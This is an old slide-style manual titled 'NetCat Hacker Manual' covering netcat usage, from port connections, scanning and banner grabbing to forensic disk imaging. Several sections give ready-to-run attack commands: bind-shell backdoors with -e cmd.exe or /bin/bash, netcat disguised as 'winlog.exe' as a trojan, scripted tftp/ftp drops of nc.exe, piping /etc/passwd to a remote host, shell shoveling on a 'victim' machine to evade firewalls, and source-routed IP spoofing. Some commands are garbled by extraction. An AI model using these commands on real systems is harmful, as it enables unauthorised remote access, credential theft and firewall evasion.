NetCat Hacker Manual

A Handy Pocket Guide for Your Cat

Created by Adonis a.K.a. NtWaK0

Dedicated to my Cat
What is It?

 [Extracted from
http://www.atstake.com/research/tools/ ] Netcat
has been dubbed the network swiss army knife.
 It is a simple Unix utility which reads and writes
data across network connections, using TCP or
UDP protocol.
 It is designed to be a reliable "back-end" tool
that can be used directly or easily driven by
other programs and scripts.

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Get it From

 You can read more about NetCat at

http://www.vulnwatch.org/netcat/
 Get Netcat1.10 for Unix from
http://netcat.sourceforge.net/download.php or
from http://www.vulnwatch.org/netcat/nc110.tgz
 Get Netcat1.1 for Win 95/98/NT/2000 from
http://www.vulnwatch.org/netcat/nc111nt.zip

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Important Switchs

 -d detach from console, stealth mode

 -e prog inbound program to exec [dangerous!!]
 -g source-routing hop point[s], up to 8
 -G num source-routing pointer: 4, 8, 12, ...
 -i secs delay interval for lines sent, ports scanned
 -l listen mode, for inbound connects
 -L listen harder, re-listen on socket close
 -n numeric-only IP addresses, no DNS
 -o file hex dump of traffic
 -p port local port number
 -r randomize local and remote ports
 -s addr local source address
 -t answer TELNET negotiation
 -u UDP mode
 -v verbose [use twice to be more verbose]
 -w secs timeout for connects and final net reads
 -z zero-I/O mode [used for scanning]
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Netcat Connecting

 From outside the firewall connect to the listening box

Ö nc -v trojanedbox.com 53
Ö nc -vvn trojanedbox.com 53
Ö nc -vvn trojanedbox.com 23
Ö nc -vvn trojanedbox.com 21
Ö nc -vvn www.someweb.com 80

 Connect to an IRC server. Put these lines in a batch.cmd

file and run it
Ö @echo off
Ö echo Connecting you to IRC liberty.nj.us.dal.net
Ö nc -v 208.51.159.10 6667
Ö USER a a a a
Ö Nick YourNickHere

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Connecting

 Run nc in connect mode and connect to port 139

Ö nc -p 31337 127.0.0.1139

 Run nc in connect mode and connect to port 139 and

give verbose display -v -v two times make more verbose
Ö nc -v -v -p 31337 127.0.0.1 139

 Run nc in connect mode and connect to port 139 with

TIMEOUT set to 5
Ö nc -w 5 -p 31337 127.0.0.1 139

 Run nc in connect mode and connect to port 139 with

TIMEOUT set to 5 and give verbose display
Ö nc -v -v -w 5 -p 31337 127.0.0.1 139

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Execute

 -e Executes a program if netcat is compiled with

the –DGAPING_SECURITY_HOLE.
 Nc.exe is compiled to execute when -e is used.
 Example
Ö nc-l -d -p 10000 -e cmd.exe or
Ö nc-L -d -p 10000 -e cmd.exe
Ö This will run nc in detached mode and listen on port
10000.

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Execute

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Listen

 Use –L switch to reconnect to the same NetCat

sessions.
 This way you can connect over and over to the
same Netcat process.
 Example:
Ö nc -l -p 53 -t -e cmd.exe
Ö nc -l -p 5050 | /bin/bash
Ö nc -v -l -p 5050 -e '/bin/bash'

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Sending File

 To receive a file named newfile on the

destination system start netcat with the
following command:
Ö nc –l –p 1234 >newfile

 On the source system send a file named newfile

to the destination system with the following
command:
Ö nc destinationIP 1234 < newfile

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Banner Grabbing

 nc –vvn hostIP 80
 nc –vvn hostIP 8080
 Once connected type HEAD / HTTP/1.0 [Hit enter twice]
 nc -v www.website.com 80 < get.txt
Ö Checking WEB Header.
Ö Your get.txt file will contain:
y GET / HTTP/1.0
y [Carriage] (JUST HIT ENTER IN YOUR TEXT EDITOR)
y [Carriage]
y In perl you can use print $socket "GET / HTTP/1.0\n\n";

 echo "blahblahblah" | nc hostIP 80 > default.htm

 cat get.txt | nc hostIP 80
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Netcat Web Banner Grabber
 First File is a text file:
 ----- begin get.txt -----
Ö GET / HTTP/1.0
Ö HIT ENTER IN YOUR EDITOR
Ö HIT ENTER IN YOUR EDITOR
 ----- end get.txt -----

 The second file is a batch file:

 ----- begin getweb.cmd -----
Ö @echo off
Ö nc -v %1 80 < get.txt > index.txt
Ö notepad index.txt
 ----- end getweb.cmd -----
 You run it like this: getweb.cmd www.someweb.com

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Finger & Telnet

 Netcat as a simple finger client:

Ö nc -v hostIP 79 < user.txt

 The file “user.txt contains the username you are

interested in.
 You can also send the output to a log file.
Ö nc -v hostIP 79 < user.txt > log.txt

 Run nc in listen mode and answer Telnet

negotiation in detached mode.
Ö nc -v -v -L -d 127.0.0.1 -p 23

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Simple Server

 To create a simple server

Ö nc -l -p 1234 < file

 A very simple web server

Ö nc -L -d -p 80 < file

 A simple telnet server with execution

Ö nc -L -d -p 23 -t -e cmd.exe

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat As Trojan

 We will use –t switch to answer telnet negotiation. Netcat

should be compiled with –DTELNET parameter.
Ö nc -l -d -t -p 10000 -e cmd.exe and/or nc-L -d -t -p 10000 -e
cmd.exe

 winlog.exe -L -d -p 139 -t -e cmd.exe

Ö (note winlog.exe= nc.exe)

 Connect to your trojan using

Ö nc -vvn IP_address_of_target port

 nc -l -p 53 -t -e cmd.exe Netcat listening on port 53.

 nc -l -p 23 -t -e cmd.exe Netcat listening on port 23.
 To send netcat on a remote box using tftp
Ö tftp –i remoteip GET nc.exe

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat IP Spoofing

 Full Connection IP-Spoof with Source Route

Ö If config eth 0:0 A.2
Ö route add -net A eth0:0
Ö nc-n -v -s A.2 -g E.2 E.223
Ö nc-n -v -s A.2 -g E.2 E.1 23
Ö nc-n -v -s A.2 -g E.2 -g E.1 C.1 23
Ö nc-n -v -s A.2 -g E.2 -g E.1 -g C.1 B.2 23

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Port Redirection

1. Computer A IP 10.10.10.1
2. Computer B IP 10.10.10.2
3. Open 1 DOS windows on computer A
4. Open 2 DOS windows on computer B
5. Type this in The DOS windows on A "nc -v -L -p 666 -e
"nc10.10.10.2 666“
6. Type this in The First DOS windows on B "nc -v -L -p
666“
7. Type this in The Second DOS windows on B "nc -v
10.10.10.1 666“
8. Now Type Stuff in Second DOS windows on B and you
should see them on the first DOS windows on B
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Scanning with Netcat

 nc –vvn -w 5 -z 127.0.0.1 1-53

Ö This will scan from port 1 to 53

 nc –vvn -w 5 -z 127.0.0.1 21 25 53 139

Ö This will scan ports 21, 25,53,139

 nc –vvn -w 5 -z -u -r 127.0.0.1 111 66-70 88 53 87

161-164 121-123 213
Ö This will do UPD scan

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Playing With FTP

 Mmake the script that contain the followings:

Ö echo user>GetNc.txt
Ö echo password>>GetNc.txt
Ö echo bin>>GetNc.txt
Ö echo get nc.exe>>GetNc.txt
Ö echo bye>>GetNc.txt

 Run the script

Ö ftp -s:GetNc.txt x.x.x.x
Ö del GetNc.txt

 Run netcat
Ö nc-l -p 999 -t -e cmd.exe
Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Netcat & UNIX

 Unix Netcat Compile Options

Ö Compile netcat with GAPING_SECURITY_HOLE
then:

 Run the cat as backdoor

Ö nc-v -l -p 1000 -e '/bin/bash' (on the server)
Ö nc-v <ip> 1000 (on your box).

 nc -l -p 1000 | /bin/bash | nc-l -p 1001 2>&1

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Grabbing /etc/passd

 cat /etc/passwd | /usr/lib/lponlcr | netcat -h

hostname -p 9100
Ö Print /etc/passwd to hostname using port 9100.
Ö hostname is the host name as defined in /etc/hosts.

 cat /etc/passwd | /usr/lib/lponlcr | netcat -d 1 -h

hostname -p 9100
Ö Same as above but with debug output.

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat Shell Shoveling

 "shell-shoveling" via port redirection to evade

firewall restrictions.
 If the your box is running netcat on TCP 80 and
25, and TCP 80 is allowed inbound and 25
outbound to-from your box through the firewall,
then this command "shovels" a remote
command shell from your box to the remote
target web target.com, you will run on a victim
Windows NT/2000 machine:
Ö nc target.com 80 | cmd.exe | nc target.com 25

Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Netcat in Forensic

 Netcat can be used to send a forensic image to a

remote box.
 First create your image using dd
 Second send it using netcat
 See next slide

http://users.erols.com/gmgarner/forensics/ Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Creating an image using dd

 dd.exe if=\\.\PhysicalDrive0 of=d:\images\PhysicalDrive0.img --md5sum --

verifymd5
 --md5out=d:\images\PhysicalDrive0.img.md5
 dd if=\\?\Volume{87c34910-d826-11d4-987c-00a0b6741049}
of=d:\images\e_drive.img –md5sum –verifymd5
md5out=d:\images\PhysicalDrive0.img.md5
 dd.exe if=\\.\PhysicalMemory of=d:\images\PhysicalMemory.img bs=4096 -
-md5sum --verifymd5 --md5out=d:\images\PhysicalMemory.img.md5
 dd.exe if=\\.\D: of=d:\images\d_drive.img conv=noerror --sparse --md5sum
--verifymd5 –md5out=d:\images\d_drive.img.md5 --
log=d:\images\d_drive.log
 dd.exe if=myfile.txt.gz of=d:\images\myfile.txt conv=noerror,decomp --
md5sum --verifymd5 –md5out=d:\images\myfile.txt.img.md5 --
log=d:\images\myfile.txt.log
 dd.exe if=\\.\D: of=d:\images\d_drive.img.gz conv=noerror,comp --md5sum
--verifymd5 –md5out=d:\images\d_drive.img.md5 --
log=d:\images\d_drive.log

http://users.erols.com/gmgarner/forensics/ Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Checking the image integrity

 Before sending the image using netcat we will

check it is integrity.
 md5sum.exe -o d_drive.md5 \\.\D:
 md5sum.exe -c d_drive.img.md5
 md5sum.exe -d zlib -c d_drive.img.gz.md5

http://users.erols.com/gmgarner/forensics/ Created by Adonis a.K.a. NtWaK0

Created by Adonis a.K.a. NtWaK0
Sending image using Netcat

 nc –v –n –l –p 8080 –csum md5 --verify –sparse –O

myimage.img.
 nc –v –n –csum md5 –I \\.\C: 192.168.1.1 8080
 nc –v –n –l –p 8080 –comp zlib –O myimage.img.gz.
 nc –v –n –I \\.\C: 192.168.2.1 8080
 nc –v –n –l –p 8080 –csum md5 --verify –O
myimage.img.gz.
 nc –v –n –lock –csum md5 –comp zlib –I \\.\D: 192.168.2.1
8080
 nc –v –n –l –p 8080 –csum md5 --verify –sparse –O
myimage.img.
 nc –v –n –lock –csum md5 –I \\?\Volume{87c34910-d826-
11d4-987c-00a0b6741049 } 192.168.2.1 8080
http://users.erols.com/gmgarner/forensics/ Created by Adonis a.K.a. NtWaK0
Created by Adonis a.K.a. NtWaK0
Peace